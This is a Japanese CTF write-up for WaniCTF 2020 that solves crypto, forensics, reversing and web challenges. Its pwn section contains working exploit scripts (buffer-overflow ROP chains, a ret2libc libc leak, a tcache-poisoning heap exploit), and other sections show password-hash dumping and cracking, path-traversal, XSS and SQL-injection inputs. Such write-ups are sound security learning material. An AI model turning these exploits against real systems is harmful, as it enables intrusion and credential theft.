WaniCTF 2020 Writeup
2020/11/21から行われた大阪大学のWani Hackaseが主催のWaniCTF2020に参加しました. 初心者向けということもありたくさん解けて楽しかったです. 特に予定もなかったのでゲームや散歩をしたりアイマス三昧を聞きながらのんびり解いてました. 最終的には1問以外解けて11位でした.
たくさん称号をもらえた😀
https://wanictf.org/2020.html
運営の方のWriteupはこちら.
Crypto
Veni, vidi (Beginner)
SYNT{fvzcyr_pynffvpny_pvcure}
ROT13.
flag: FLAG{simple_classical_cipher}
exclusive (Easy)
keyとフラグをXORしています.
フラグの先頭はFLAG
なのでkeyを特定できます.
あとはkeyとエンコードされたフラグをXORしてあげればいいです.
encoded_flag="" with open('./output.txt') as f: encoded_flag=f.read() key="".join([chr(ord(s)^ord(t)) for s,t in zip(encoded_flag,"FLAG")]) key=key[0:3]*19 flag="".join([chr(ord(s)^ord(t)) for s,t in zip(key,encoded_flag)]) print(flag)
flag: FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}
Basic RSA (Normal)
p=3395691611470965703248776690605631448210299347525030739228383525429324385673465720215627828854181787361366362304515818652121445125278579357291889059651248 q=3110746220571338886416585682818815247453643126964736278072889659177722129615307761446287972409358505242287263598670729290153892071235119046274192564544254 print(p*q)
m=223603686361314586714175565871625848629 e=65537 n=85894259982529774534738977512733247714575520196254720913324021194094962152093953247879110941289388438916327114583817283655596379699397163641937867204006249561822624997027786327017002617537748647387480295462871562217712352315647462266777353450197526216711345361335921281252390277349962674385212195975103527777 print(pow(m,e,n))
p=6941228073710029272709931137126763438896483442698940990387243132086539886565332310623278297429296964091830499215076168232957587276633995785795367241187693 q=8314548613078997011281833094994872127908947348619085044230773215969081721637277929673458305974929666111150247442477357318728654270865385085868340198394011 e=65537 c=34155694723114745250570407342098680267767914080937033675260980008802140827057809636727955655591284380292073512092481470054846682913463633517157610001381562071683975564393928314130271495248909366020791191802272883456401224599207479144661271136616263900027260888317855839786370965495539570774984514060582796682 d=inverse(e,(p-1)*(q-1)) print(pow(c,d,p*q))
flag: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
LCG crack (Hard)
想定解じゃないです.
elif choice == 2: for cnt in range(1, 11): print(f"[{cnt}/10] Guess the next number!") try: guess = int(input("> ")) except ValueError: print("Please enter an integer\n\n\n") continue if guess == rng.next(): print(f"Correct! ") cnt += 1 else: print(f"Wrong... Try again!") break else: print(f"Congratz! {flag}") break
ValueError
のときcontinue
になっています.
文字を入力すると整数を入力するように促されるのですが, それを無視して10回文字を入力するとフラグが表示されます.
flag: FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
l0g0n (Very hard)
AES暗号のECBモードは危ないっていうのは聞いたことがある.
同じ値を入力したらフラグが表示された...
よくわかってないです.
flag: FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}
Forensics
logged_flag (Beginner)
key_log.txt
に書いてあります.
flag: FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}
ALLIGATOR_01 (Easy)
volatilityを使います.
ここやここを参考にさせていただきました.
$ volatility -f ./ALLIGATOR.raw imageinfo $ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 pslist 0x84dd6b28 evil.exe 3632 2964 1 21 2 0 2020-10-26 03:01:55 UTC+0000
flag: FLAG{2020-10-26_03:01:55_UTC+0000}
ALLIGATOR_02 (Normal)
$ strings ./ALLIGATOR.raw | grep FLAG
または
$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 consoles
flag: FLAG{y0u_4re_c0n50les_master}
chunk_eater (Normal)
壊れたPNGファイルが与えられます.
ヒントにあるサイトを参考にさせていただきました.
バイナリエディタで開いて"WANI"という文字列を順番にIHDR,IDAT,IDAT,IDAT,IENDにすると開けるようになります.
flag: FLAG{chunk_is_so_yummy!}
ALLIGATOR_03 (Hard)
パスワード付きのzipファイルが与えられます. パスワードを特定すればよさそうです.
ここを参考にさせていただきました.
Linuxのvolatilityを使っていたのですがhashdump
が使えなかったのでWindowsの方を使いました.
> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ---------- ---------- ---- 0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve 0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat 0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat 0x8780a6b8 0x282fb6b8 [no name] 0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM 0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE 0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD 0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE 0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat 0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT 0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY 0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM 0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat 0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat 0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat
\REGISTRY\MACHINE\SYSTEM
と\SystemRoot\System32\Config\SAM
のアドレスを指定してhashdump
します.
> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hashdump -y 0x8781a008 -s 0x93791458 Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035::: ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::
5e7a211fee4f7249f9db23e4a07d7590
を https://crackstation.net/ に投げました.
パスワードはilovewani
.
flag: FLAG{The_Machikane_Crocodylidae}
zero_size_png (Very hard)
想定解じゃないです.
サイズが0x0のPNGファイルが与えられます.
バイナリエディタで開いて, ヒントにあるサイトを参考にサイズをいじります.
IHDRの直後の4バイトが画像の幅でその直後の4バイトが画像の高さになるようです.
頑張ってフラグが見えるサイズ(2997 x 1000)にしました.
想定解は正しい縦横比を総当たりで求めるみたいです.
flag: FLAG{Cyclic_Redundancy_CAT}
Misc
Find a Number (Beginner)
0~500000の範囲の乱数を当てます.
電卓を使いながら手動で二分探索しました.
flag: FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
MQTT Challenge (Normal)
サブスクライブすると約1分ごとにそのトピックのメッセージが流れてきます. フラグを配信しているトピックを見つければよさそうです.
ここによるとマルチレベルワイルドカードというものがあるそうです. #
を入力して待つとフラグが表示されます.
flag: FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
PWN
netcat (Beginner)
nc netcat.wanictf.org 9001
するとシェルが起動しています.
flag: FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
var rewrite (Beginner)
ローカル変数を書き換える.
入力はrbp-0x16
からで比較対象の変数はrbp-0xc
からなので0xa(=0x16-0xc)
文字後に"WANI"を置くとよさそうです.
$ nc var.wanictf.org 9002 What's your name?: AAAAAAAAAAWANI hello AAAAAAAAAAWANI! Congratulation! cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
flag: FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
binsh address (Easy)
binsh
のアドレスを入力すればいいです. 表示されるアドレスはval
のアドレスのようです.
binsh
のoffsetを調べます.
gdb-peda$ start gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 2 results, display max 2 items: pwn03 : 0x555555756020 --> 0x68732f6e69622f ('/bin/sh') libc : 0x7ffff7f7c143 --> 0x68732f6e69622f ('/bin/sh') gdb-peda$ c Continuing. The address of "input " is 0x555555756010. Please input "/bin/sh" address as a hex number:
表示されるアドレスに0x10(=0x555555756020-0x555555756010)
を足せばよさそうです.
$ nc var.wanictf.org 9003 The address of "input " is 0x55ec32711010. Please input "/bin/sh" address as a hex number: 0x55ec32711020 Your input address is 0x55ec32711020. Congratulation! cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
flag: FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
got rewrite (Easy)
GOT Overwrite.
入力の後にあるprintf
のGOTをwin
のアドレスに書き換えればよさそうです.
printf
のGOTのアドレスを調べます.
$ readelf -a ./pwn04 再配置セクション '.rela.plt' at offset 0x590 contains 9 entries: オフセット 情報 型 シンボル値 シンボル名 + 加数 000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0 000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0 000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0 000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000601040 000600000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0 000000601048 000700000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0 000000601050 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 strtol@GLIBC_2.2.5 + 0 000000601058 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
$ nc var.wanictf.org 9004 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600e10-0x6010b0): 0x000000601038 Your input address is 0x601038. Please input rewrite value: 0x400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
flag: FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
ret rewrite (Normal)
vuln
内のread
でBOFが起きます. リターンアドレスをwin
のアドレスに書き換えればよさそうです.
入力はrbp-0xe
からなのでoffsetは0x16(=0xe+0x8)
.
問題文にあるようにwin
を実行してもスタックのアライメントの問題でsystem
で落ちます. なので, win
の最初のpush rbp
をとばします.
$ (python -c "print('A'*22+'\x38\x08\x40\x00\x00\x00\x00\x00')";cat)| nc ret.wanictf.org 9005 What's your name?: Hello AAAAAAAAAA! ***start stack dump*** 0x7ffd1ffd5fd0: 0x41414141414160d0 <- rsp 0x7ffd1ffd5fd8: 0x0000001f41414141 0x7ffd1ffd5fe0: 0x4141414141414141 <- rbp 0x7ffd1ffd5fe8: 0x0000000000400838 <- return address 0x7ffd1ffd5ff0: 0x0000000000400a00 0x7ffd1ffd5ff8: 0x00007f706b311bf7 0x7ffd1ffd6000: 0x0000000000000001 ***end stack dump*** congratulation! cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck}
flag: FLAG{1earning-how-return-address-w0rks-on-st4ck}
rop func call (Normal)
ret_rewriteと同様にvuln
内のread
でBOFが起きます. 第1引数にbinsh
のアドレスを指定してsystem
を呼び出します. ret_rewriteと同様にスタックのアライメントの問題で落ちるのでret
をはさみます.
pop rdi
とret
のアドレスはROPgadget
で調べました. ret
は(pop rdiのアドレス)+1
で代用できるので調べなくてもいいです.
$ ROPgadget --binary ./pwn06
from pwn import * # p=process('./pwn06') p=remote('rop.wanictf.org',9006) e=ELF('./pwn06') pop_rdi=0x0000000000400a53 ret=0x000000000040065e payload=b'A'*22 payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(e.symbols['binsh']) payload+=p64(e.plt['system']) p.recv() p.sendline(payload) p.interactive()
flag: FLAG{learning-rop-and-x64-system-call}
one gadget rce (Hard)
想定解じゃないです.
vuln
内のread
でBOFが起きます. やることは以下の通りです.
- リターンアドレスを書き換えて
puts
を呼び出しputs
のGOTをリークしてlibcのアドレスを求める. vuln
に戻る.- リターンアドレスを書き換えて
system("/bin/sh")
を実行.
from pwn import * # p=process('./pwn07') p=remote('rce.wanictf.org',9007) e=ELF('./pwn07') libc=ELF('libc-2.27.so') pop_rdi=0x0000000000400a13 ret=0x0000000000400626 payload=b'A'*22 payload+=p64(pop_rdi) payload+=p64(e.got['puts']) payload+=p64(e.plt['puts']) payload+=p64(e.symbols['vuln']) p.recv() p.sendline(payload) p.recvuntil('***end stack dump***\n\n') libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts'] print(hex(libc.address)) payload=b'A'*22 payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(next(libc.search(b'/bin/sh'))) payload+=p64(libc.symbols['system']) p.recv() p.sendline(payload) p.interactive()
flag: FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
heap (Very hard)
解けなかった😭
ヒープオーバーフローからのtcache poisoningだろうと思ったけどtcacheがうまく繋がらなかった.
運営の方のWriteupを参考にさせていただきました.
サイズが0x20のchunkでlibcのアドレスをリークして, サイズが0x30のchunkで__free_hook
を書き換えました.
from pwn import * context.log_level='info' def add(i,size): log.info('add '+str(i)) p.recvuntil('command?: ') p.sendline('1') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) p.recvuntil('size?: ') p.sendline(str(size)) def edit(i,memo): log.info('edit '+str(i)) p.recvuntil('command?: ') p.sendline('2') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) p.recvuntil('memo?: ') p.sendline(memo) def view(i): log.info('view '+str(i)) p.recvuntil('command?: ') p.sendline('3') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) return u64(p.recv(6).ljust(8,b'\x00')) def del_memo(i): log.info('del '+str(i)) p.recvuntil('command?: ') p.sendline('9') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) # p=process('./pwn08') p=remote('heap.wanictf.org',9008) e=ELF('./pwn08') libc=ELF('./libc-2.27.so') payload=b'A'*16 payload+=p64(0) payload+=p64(0x31) payload+=p64(e.got['printf']) add(0,10) add(1,10) del_memo(1) edit(0,payload) add(2,10) add(3,10) libc.address=view(3)-libc.symbols['printf'] print(hex(libc.address)) payload=b'A'*32 payload+=p64(0) payload+=p64(0x31) payload+=p64(libc.symbols['__free_hook']) add(4,40) add(5,40) del_memo(5) edit(4,payload) add(6,40) add(7,40) edit(7,p64(libc.symbols['system'])) add(8,40) edit(8,b'/bin/sh') del_memo(8) p.interactive()
flag: FLAG{I-am-a-heap-beginner}
Reversing
strings (Beginner)
$ strings ./strings | grep FLAG
flag: FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
simple (Normal)
angrに投げた.
import angr project = angr.Project('./simple') entry = project.factory.entry_state() simgr = project.factory.simgr(entry) simgr.explore() states = simgr.deadended for state in states: flag = b"".join(state.posix.stdin.concretize()) print(flag)
flag: FLAG{5imp1e_Revers1ng_4rray_5trings}
complex (Hard)
angrでも解けるみたいだけどできなかった. Ghidra, GDBで解析しました.
Ghidraのデコンパイルはちょっと分かりにくかったので自分なりにコードを書きました. 疑似コードやメモみたいなのはコメントアウトしています.
#include<stdio.h> int check_0(char *s){ char *x,*y; for(int i=0;i<36;i++){ if(x[i]^s[i]!=y[i]) return 0; } return 1; } int check_13(char *s){ char *x,*y; for(int i=0;i<36;i++){ if(x[i]^s[i]!=y[i]) return 1; } return 2; } int check(int i,char *s){ switch (i) { // return check_i(s); } } int main(){ char* s; scanf("%s",s); // len(s)==42 // s-="FLAG{}"; int i=0; for(i=0;i<20;i++){ int k=check(i,s); if(k==0) continue; if(k==1) break; if(k==2) printf("Correct!\n"); } printf("Incorrect!\n"); }
まず, フラグは42文字でフラグから"FLAG{}"を取り除いた36文字とループ変数が20回check
に渡されます. check
の戻り値が2だと正解で1だと終了します. check
はループごとに別の関数を呼び出します. check_13
だけ2を返す処理があります. ローカル変数が2つあり, 片方とXORをとったときもう片方と一致していれば2を返します. よって, check_13
の2つのローカル変数をXORすればフラグが求まります. リトルエンディアンに注意.
x=['0x3131393431333637','0x3435313837393235','0x3635313836343636','0x3834303131353334','0x34323435','0x37'] y=['0x6e44564d6e575f53','0x576a48545b585747','0x535d45675d57535e','0x675a42444550416b','0x415e5543','0x52'] flag="FLAG{" for i1,i2 in zip(x,y): s=reversed(bytes.fromhex(i1[2:]).decode()) t=reversed(bytes.fromhex(i2[2:]).decode()) for c1,c2 in zip(s,t): flag+=chr(ord(c1)^ord(c2)) flag+="}" print(flag)
flag: FLAG{did_you_really_check_the_return_value}
static (Very hard)
$ strings ./static
するとUPXという文字が見えました. なので, アンパックします.
$ upx -d ./static
Ghidraで解析しました.
complexと同様にフラグの中身が取り出され, 何かとXORをとりそれがローカル変数と等しいと正解みたいです. この何かは関数によって求められていたのですが, 処理が複雑でよくわかりませんでした. この関数には引数がなかったので一定の値が返ってくるのではないかと思い, GDBでメモリを読みました.
strippedなバイナリの解析はあまりやったことがなかったので, こちらを参考にさせていただきました.
gdb-peda$ info file gdb-peda$ b *0x400a80 gdb-peda$ r gdb-peda$ x/400i $rip gdb-peda$ b *0x400e95 gdb-peda$ x/50wx $rbp-0xd0 0x7fffffffe910: 0x63c1d9b9 0x383f1bd1 0x4107dda4 0x34841fea 0x7fffffffe920: 0x3ebdf50c 0x315655eb 0x4def053a 0x1bfdeb26 0x7fffffffe930: 0x24118fca 0x2722989c 0x7abcb583 0x09466305 0x7fffffffe940: 0x7799b061 0x172289c3 0x401a25fc 0x39ce6189 0x7fffffffe950: 0x56ec69c1 0x106f1fd2 0x77fc40b6 0x4828aec2 0x7fffffffe960: 0x2252ba83 0x45935da2 0x7565bdfe 0x5ae2409f 0x7fffffffe970: 0x20edd672 0x47362435 0x0b61fcb5 0x7c7607de 0x7fffffffe980: 0x6cf7730d 0x5222628a 0x5ee131a8 0x50b94cc6 0x7fffffffe990: 0x0a617e5b 0x1fe90f4c 0x053d6cb0 0x491f7368 0x7fffffffe9a0: 0x513f6537 0x532c71ea 0x651d5e8e 0x7550f502 0x7fffffffe9b0: 0x7a4f0a87 0x5fda1411 0x7e975807 0x71e8bae8 0x7fffffffe9c0: 0x76fc9dd4 0x3eb17e04 0x2bb71c71 0x4de90796 0x7fffffffe9d0: 0x00000000 0x00000000
やはり一定の値が返ってきてました! よって, このメモリの値とローカル変数の値をXORすればフラグが求まります.
x=[0x63c1d9b9,0x383f1bd1,0x4107dda4,0x34841fea,0x3ebdf50c,0x315655eb,0x4def053a,0x1bfdeb26,0x24118fca,0x2722989c,0x7abcb583,0x09466305,0x7799b061,0x172289c3,0x401a25fc,0x39ce6189,0x56ec69c1,0x106f1fd2,0x77fc40b6,0x4828aec2,0x2252ba83,0x45935da2,0x7565bdfe,0x5ae2409f,0x20edd672,0x47362435,0x0b61fcb5,0x7c7607de,0x6cf7730d,0x5222628a,0x5ee131a8,0x50b94cc6,0x0a617e5b,0x1fe90f4c,0x053d6cb0,0x491f7368,0x513f6537,0x532c71ea,0x651d5e8e,0x7550f502,0x7a4f0a87,0x5fda1411,0x7e975807,0x71e8bae8,0x76fc9dd4,0x3eb17e04,0x2bb71c71,0x4de90796] y=[0x63c1d9cb,0x383f1bb2,0x4107dd90,0x34841fb5,0x3ebdf538,0x31565585,0x4def055e,0x1bfdeb79,0x24118ff9,0x272298e8,0x7abcb5e2,0x9466371,0x7799b008,0x172289a0,0x401a25a3,0x39ce61b8,0x56ec69a8,0x106f1fbc,0x77fc40dd,0x4828ae9d,0x2252bab7,0x45935dcc,0x7565bd9a,0x5ae240c0,0x20edd601,0x47362402,0xb61fcc7,0x7c7607b7,0x6cf7737d,0x522262fa,0x5ee1319b,0x50b94ca2,0xa617e04,0x1fe90f3c,0x53d6c81,0x491f731d,0x513f6544,0x532c71b5,0x651d5efb,0x7550f572,0x7a4f0aff,0x5fda144e,0x7e975877,0x71e8ba89,0x76fc9db7,0x3eb17e6f,0x2bb71c42,0x4de907f2] flag="FLAG{" flag+="".join([chr(i^j) for i,j in zip(x,y)]) flag+="}" print(flag)
flag: FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
Web
DevTools_1 (Beginner)
ソースコードを見るとフラグがコメントアウトされてました.
flag: FLAG{you_can_read_html_using_devtools}
DevTools_2 (Beginner)
0円のところを5000000000000000円に書き換えるとフラグが表示されました.
flag: FLAG{you_can_edit_html_using_devtools}
Simple Memo (Beginner)
ディレクトリトラバーサル.
flag.txt
はmemos
ディレクトリと同じ位置にあるみたいなので../flag.txt
と入力すればよさそうですが../
が削除されてしまいます.
....//flag.txt
と入力すると../flag.txt
となりフラグが表示されます.
flag: FLAG{y0u_c4n_get_hi5_5ecret_fi1e}
strped table (Easy)
メモが作成できるサイト.
XSS.
ソースコードを見るとindex
が奇数のときmemo
がチェックされてないことがわかります. 2つ目のメモに<script>alert(19640503)</script>
を入力するとフラグが表示されます.
flag: FLAG{simple_cross_site_scripting}
SQL Challenge 1 (Normal)
想定解じゃないです.
SQL Injection.
ソースコードを見ると', ,/,\,|
が使えないことがわかります.
$query = "SELECT * FROM anime WHERE years =$year";
このSQL文のWHERE句をTrue
にすればよいので, years
を入力しました.
想定解は(1)or(1)=(1)
みたいです. 空白を使わずにWHERE句をTrue
にできます.
flag: FLAG{53cur3_5ql_a283b4dffe}
SQL Challenge 2 (Hard)
想定解じゃないです.
SQL Injection.
文字列と数字以外を入力すると前に\
が挿入されます.
SQL Challenge 1と同様にyearsを入力するとフラグが表示されました.
想定解は0
みたいです. years
は文字列なのですが
MySQLでは比較演算を行う際、比較対象の一方が数値ならもう片方も数値として扱うという暗黙的な型変換が行われるようです。
なので数値を入力するとyears
は数値になります. また,
しかしyearsカラムに数字以外の文字列が入っていた場合、その文字列はすべて0という値に変換されます。
なので0
を入力すると数字以外の文字列で記録されたデータが表示されます.
参考
flag: FLAG{5ql_ch4r_cf_ca87b27723}